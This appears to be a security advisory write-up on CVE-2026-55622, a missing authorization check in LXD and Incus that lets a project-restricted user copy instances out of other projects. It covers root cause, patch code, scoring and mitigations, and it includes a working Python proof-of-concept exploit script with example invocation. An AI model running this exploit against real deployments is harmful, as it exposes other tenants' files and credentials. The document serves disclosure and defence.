Nov 6, 2026·11 min read·3 visits
A missing authorization check in the instance creation handler (instancesPost) of Canonical LXD and LXC Incus allows an authenticated user with access to at least one project to copy instances and snapshots from any other restricted project on the same daemon or cluster. Once copied into the attacker's authorized project, the attacker gains full administrative control over the duplicate instance and its underlying data.
CVE-2026-55622 (GHSA-qx75-2p3r-pwm5) is an improper access control vulnerability (CWE-284) in Canonical LXD and LXC Incus (tracked as GHSA-c9f5-j9c3-mhrg). In multi-tenant deployments utilizing project-based isolation, the REST API handler for instance creation via POST /1.0/instances verifies that the authenticated user has authorization in the destination project specified by the query parameter, but fails to verify whether the user holds read or view permissions for the source instance when executing a copy operation across projects. Consequently, an authenticated client restricted to a single project can clone instances or snapshots from unauthorized projects into their own project, resulting in complete disclosure of the target instance filesystem and embedded credentials.
Canonical LXD and its related fork LXC Incus are system container and virtual machine managers that expose a REST API over HTTPS (typically on port 8443) or a local Unix domain socket. To support multi-tenancy, LXD implements a resource isolation mechanism called Projects. Each project serves as an independent namespace capable of holding its own instances, profiles, storage volumes, images, and network configurations.
Administrators can restrict client access to specific projects by configuring TLS client certificates with restricted: true and an explicit allowlist of project names, or by applying granular role-based access control (RBAC) and OpenID Connect (OIDC) entitlements. Under this security model, a client restricted to project default is prohibited from listing, inspecting, modifying, or interacting with resources located in another project, such as secrets.
CVE-2026-55622 (also tracked as GHSA-qx75-2p3r-pwm5 for LXD and GHSA-c9f5-j9c3-mhrg for Incus) is an improper access control vulnerability classified under CWE-284. The flaw resides in the API endpoint responsible for creating new instances (POST /1.0/instances). When a client requests the creation of a new instance by copying an existing instance ("type": "copy"), the daemon validates the caller's permissions against the destination project specified in the URL query string (?project=<target_project>), but fails to check whether the caller is authorized to view the source instance specified in the JSON request body (source.project and source.source).
Because the source authorization check is omitted, any authenticated user who knows or guesses the name of an restricted foreign project and an instance within it can instruct the daemon to duplicate that instance into a project the user controls. Once the copy operation completes, the attacker possesses full administrative permissions over the newly created duplicate instance, enabling arbitrary inspection of its root filesystem, configuration metadata, and sensitive credentials.
The root cause of CVE-2026-55622 is an incomplete authorization model within the instancesPost HTTP handler located in lxd/instances_post.go (and cmd/incusd/instances_post.go in Incus). In LXD's architecture, HTTP API routing performs initial authentication and project-level access validation based on the project URL query parameter before or during the execution of the specific endpoint handler.
When an authenticated client issues a POST /1.0/instances?project=default request, the request router and initial handler logic verify that the caller possesses the required entitlement to create instances within the default project. However, the payload for POST /1.0/instances accepts an api.InstancesPost JSON structure containing an api.InstanceSource (req.Source) sub-object. This sub-object dictates how the new instance should be populated—such as from an image, an empty volume, a migration stream, or a local copy (api.SourceTypeCopy / "copy").
When req.Source.Type is set to copy, the req.Source.Project field allows the caller to specify the origin project of the instance or snapshot to be cloned, while req.Source.Source specifies the name of the origin instance (or instance/snapshot). Prior to the security patch, instancesPost immediately proceeded to initiate database transactions and load the source instance record (dbCluster.GetInstance) using req.Source.Project and req.Source.Source without invoking the internal authorizer (s.Authorizer.CheckPermission or s.Authorizer.UserHasPermission) on the source resource.
This discrepancy between the authorization target (derived from the URL query parameter) and the data access source (derived from the unvalidated JSON body parameter) creates a cross-project Insecure Direct Object Reference (IDOR) condition. Because the underlying storage and database drivers operate with daemon-level privileges once inside the handler, the cross-project copy succeeds regardless of the caller's project restrictions.
Canonical and the Incus maintainers remediated the vulnerability by introducing explicit authorization checks inside instancesPost whenever req.Source.Type indicates a copy operation. Due to structural differences in the authorization subsystems across LXD's mainline 6.x series, LXD's 5.x LTS series, and Incus, the exact implementation varies slightly by branch.
97cb037794cb6b21c5a184eb5f3292207adbf6b2 / f7849615eb89e71a12ea76daaab6110bdf0fdf7f)In modern LXD releases utilizing the fine-grained entity authorizer (lxd/auth), the patch constructs an api.URL representing either the source instance or source snapshot within req.Source.Project and verifies that the caller holds the auth.EntitlementCanView permission before proceeding.
// File: lxd/instances_post.go
if req.Source.Type == api.SourceTypeCopy {
if req.Source.Source == "" {
return response.BadRequest(errors.New("Must specify a source instance"))
}
// Default to the target project if no source project is explicitly provided
if req.Source.Project == "" {
req.Source.Project = targetProjectName
}
// Construct the exact entity URL for either an instance or an instance snapshot
var sourceURL *api.URL
instanceName, snapshotName, isSnapshot := api.GetParentAndSnapshotName(req.Source.Source)
if isSnapshot {
sourceURL = entity.InstanceSnapshotURL(req.Source.Project, instanceName, snapshotName)
} else {
sourceURL = entity.InstanceURL(req.Source.Project, req.Source.Source)
}
// Enforce that the caller has 'view' entitlement on the source entity
err = s.Authorizer.CheckPermission(r.Context(), sourceURL, auth.EntitlementCanView)
if err != nil {
return response.SmartError(err)
}
}bc1e20ea32dff6ae2df08803eee82832959ec80e)In the older 5.0 LTS branch, the authorization subsystem checks permissions at the project level via UserHasPermission. The patch ensures that the caller has the "view" permission on req.Source.Project:
// File: lxd/instances_post.go
if req.Source.Type == "copy" {
if req.Source.Source == "" {
return response.BadRequest(fmt.Errorf("Must specify a source instance"))
}
if req.Source.Project == "" {
req.Source.Project = targetProjectName
}
// Verify the user has project-level 'view' permission on the source project
if !s.Authorizer.UserHasPermission(r, req.Source.Project, "view") {
return response.Forbidden(nil)
}
}1e3ffc53a10950e55de62ac1e0d612be597b84eb)In Incus (cmd/incusd/instances_post.go), the fix extracts the parent instance name using api.GetParentAndSnapshotName and validates auth.EntitlementCanView against the auth.ObjectInstance(sourceProject, sourceName) object prior to opening the cluster database transaction.
// File: cmd/incusd/instances_post.go
// For a copy, check that the caller is allowed to view the source instance before any of its details are loaded.
if req.Source.Type == "copy" && req.Source.Source != "" {
sourceProject := req.Source.Project
if sourceProject == "" {
sourceProject = targetProjectName
}
sourceName, _, _ := api.GetParentAndSnapshotName(req.Source.Source)
err = s.Authorizer.CheckPermission(r.Context(), r, auth.ObjectInstance(sourceProject, sourceName), auth.EntitlementCanView)
if err != nil {
return response.SmartError(err)
}
}The patches directly address the missing authorization check on cross-project instance and snapshot copies by validating view permissions before any database lookups or storage operations occur. In LXD 6.x / 5.21 and Incus 7.2.0, response.SmartError(err) returns an HTTP 403 Forbidden (or HTTP 404 Not Found depending on authorizer visibility rules) before attempting to load the source instance from the database, preventing both unauthorized copying and cross-project instance existence enumeration.
Exploiting CVE-2026-55622 requires an attacker to possess valid authentication credentials for the LXD or Incus REST API (such as a restricted TLS client certificate and private key) with permissions to create instances in at least one project (e.g., default). Additionally, the attacker must know or guess the name of a target project and the name of an instance (or instance snapshot) residing within that target project.
> [!NOTE]
> Standard CLI commands such as lxc list --project secrets will fail with an HTTP 403 Forbidden error for a restricted user. However, project and instance names often follow predictable naming conventions (e.g., production, staging, db-01, web-01) or may be leaked through shared network metadata, DNS records, or monitoring systems.
Environment Preparation: Suppose a privileged administrator has created an isolated project named secrets containing a sensitive container named secret-db (lxc --project secrets init images:debian/trixie secret-db), while a low-privilege user is issued a client certificate (client.crt and client.key) restricted strictly to the default project.
Crafting the Malicious API Request: Using the restricted certificate, the attacker sends an HTTP POST request to /1.0/instances?project=default. In the JSON body, the attacker sets source.type to "copy", source.project to "secrets", and source.source to "secret-db".
#!/usr/bin/env python3
"""Copy an instance from a project the caller should not be able to read."""
from __future__ import annotations
import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
ctx = ssl.create_default_context()
if insecure:
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.load_cert_chain(cert, key)
req = urllib.request.Request(
url.rstrip("/") + path,
data=json.dumps(body).encode(),
method="POST",
headers={"Content-Type": "application/json", "Accept": "application/json"},
)
try:
with urllib.request.urlopen(req, context=ctx) as resp:
return resp.read()
except urllib.error.HTTPError as exc:
sys.stderr.write(exc.read().decode(errors="replace") + "\n")
raise
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("--url", required=True)
ap.add_argument("--cert", required=True)
ap.add_argument("--key", required=True)
ap.add_argument("--target-project", required=True)
ap.add_argument("--source-project", required=True)
ap.add_argument("--source-instance", required=True)
ap.add_argument("--name", required=True, help="new instance name in target project")
ap.add_argument("--instance-only", action="store_true")
ap.add_argument("--start", action="store_true")
ap.add_argument("--insecure", action="store_true")
ap.add_argument("--dry-run", action="store_true")
args = ap.parse_args()
body = {
"name": args.name,
"source": {
"type": "copy",
"source": args.source_instance,
"project": args.source_project,
"instance_only": args.instance_only,
},
"start": args.start,
}
path = "/1.0/instances?" + urllib.parse.urlencode({"project": args.target_project})
print(json.dumps(body, indent=2))
if args.dry_run:
return 0
print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
return 0
if __name__ == "__main__":
raise SystemExit(main())python3 poc.py --url https://<LXD_HOST>:8443 \
--cert client.crt --key client.key \
--target-project default \
--source-project secrets \
--source-instance secret-db \
--name cloned-secret-db \
--insecuresecrets/secret-db into default/cloned-secret-db. The attacker can now interact with the cloned instance using standard CLI commands within their authorized default project (lxc start cloned-secret-db and lxc exec cloned-secret-db -- /bin/bash or lxc file pull), achieving full read access to all files, databases, and secrets stored inside the foreign instance.CVE-2026-55622 carries a CVSS v3.1 base score of 7.7 (High) with the vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N. The Attack Vector is Network (AV:N) because the LXD and Incus REST APIs are commonly exposed over TCP port 8443 to allow remote client management. Attack Complexity is Low (AC:L) and User Interaction is None (UI:N), as exploitation requires only a single crafted HTTP POST request. Privileges Required is Low (PR:L), reflecting the requirement for a valid, albeit project-restricted, client identity.
The Scope metric is Changed (S:C) because the vulnerable component is the LXD daemon authorization layer, while the impacted resource resides in a separate security domain (an isolated tenant project) beyond the authority of the restricted client. Confidentiality Impact is High (C:H). By cloning a container or virtual machine from another project, the attacker obtains an exact replica of its disk state, environment variables, instance configuration metadata, SSH keys, application source code, and database contents.
Direct Integrity (I:N) and Availability (A:N) impacts on the source instance are rated as None because the copy operation leaves the original instance in the foreign project unmodified and running. However, secondary lateral movement risks are substantial: if the cloned instance contains cloud provider API tokens, database credentials, or internal SSH keys, an attacker can leverage those harvested credentials to compromise external infrastructure or modify production data over the network.
Administrators operating multi-tenant or project-restricted deployments of Canonical LXD or LXC Incus should upgrade to the patched releases immediately.
If immediate patching is not feasible, administrators should evaluate the following compensating controls:
restricted: true TLS client certificates or project-level RBAC to separate untrusted tenants from sensitive workloads on the same LXD/Incus cluster. Separate high-security workloads onto dedicated LXD hosts or clusters.nftables / iptables) or network security groups to restrict access to port 8443/tcp strictly to trusted administrative jump hosts./var/snap/lxd/common/lxd/logs/lxd.log or systemd journal logs for incusd) and audit logs for POST /1.0/instances requests where the target project query parameter differs from the source project in the request payload. Administrators can also monitor live cluster events via lxc monitor --type=operation to detect unexpected InstanceCreate operations involving cross-project copy sources.CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
LXD (5.0 LTS) Canonical | >= 4.12.0, < 5.0.7 | 5.0.7 |
LXD (5.21 LTS) Canonical | >= 5.1.0, < 5.21.5 | 5.21.5 |
LXD (6.x series) Canonical | >= 6.0.0, < 6.8.0 | 6.8 |
Incus Linux Containers (LXC) | < 7.2.0 | 7.2.0 |
| Attribute | Detail |
|---|---|
| CVE / Advisory ID | CVE-2026-55622 / GHSA-qx75-2p3r-pwm5 / GHSA-c9f5-j9c3-mhrg |
| Weakness Class | CWE-284 (Improper Access Control) |
| CVSS v3.1 Score | 7.7 High (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) |
| EPSS Score | 0.45% (39.55th Percentile) |
| Attack Vector | Network (Authenticated REST API POST /1.0/instances) |
| Primary Impact | Cross-Project Instance & Snapshot Cloning / High Confidentiality Loss |
| Exploit Status | Proof of Concept Publicly Available |
| CISA KEV Status | Not Listed |
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
An authorization bypass vulnerability in Canonical LXD (tracked as GHSA-7mr3-28h5-m5vx and CVE-2026-55621, and as GHSA-64f3-v33m-w89f in Linux Containers Incus) allows an authenticated user with restricted project access to copy custom storage volumes and volume snapshots from unauthorized projects. The flaw resides in the storagePoolVolumesPost REST API handler, which verifies permissions on the destination project but fails to check whether the caller holds view entitlements on the source project or volume specified in the request body.
A missing authorization and configuration validation vulnerability in Canonical LXD and LXC Incus allows authenticated users within restricted projects to bypass project security boundaries. By smuggling prohibited low-level configuration directives (such as raw.lxc or raw.qemu) inside instance snapshots or backup archives, an attacker can restore these configurations within a restricted project and execute arbitrary commands with root privileges on the underlying host operating system.
A symbolic link traversal vulnerability (CWE-59) in Canonical LXD and Linux Containers Incus allows an authenticated user with image import permissions to read and write arbitrary files on the host filesystem. During image archive unpacking, the daemon fails to reject top-level symbolic links for the instance `templates` directory. Subsequent requests to the instance template API endpoints follow this symbolic link outside the instance storage directory with root privileges, enabling complete host compromise.
CVE-2026-12411 is a broken access control vulnerability in the DevLXD interface of Canonical LXD versions 6.6 through 6.8. The flaw resides in the devLXDInstancePatchHandler component, which fails to verify storage volume ownership when an instance attaches a new disk device via the /dev/lxd guest socket. When the security.devlxd.management.volumes configuration option is enabled, an untrusted guest or DevLXD identity can issue a crafted HTTP PATCH request referencing another tenant's custom storage volume. The LXD host daemon subsequently mounts the target volume into the requesting guest, permitting unauthorized cross-tenant read and write operations.
CVE-2026-105769 (GHSA-5q7h-w9jf-cx97, GO-2026-6225) is an origin validation error and credential exfiltration vulnerability affecting Kaniko prior to version 1.25.20. The flaw stems from an unanchored regular expression in the integrated Azure Container Registry (ACR) credential helper (github.com/chrismellard/docker-credential-acr-env). When Kaniko processes a Dockerfile containing an image reference hosted on a lookalike domain containing an ACR suffix as a substring (e.g., x.azurecr.io.attacker.com), the credential helper acquires a Microsoft Entra ID access token for Azure Resource Manager and transmits it via HTTP POST to the attacker-controlled host.
CVE-2026-62300 is an uncontrolled resource consumption vulnerability (CWE-400) affecting the daemon mode of filecoin-pin in versions up to and including 1.1.0. The daemon implements the IPFS Pinning Service API to store content on Filecoin's Proof of Data Possession (PDP) service. Due to the absence of rate limits, concurrency caps, execution timeouts, and Directed Acyclic Graph (DAG) traversal limits, an authenticated user—or an unauthenticated user when authentication is disabled—can exhaust system resources via crafted POST /pins requests.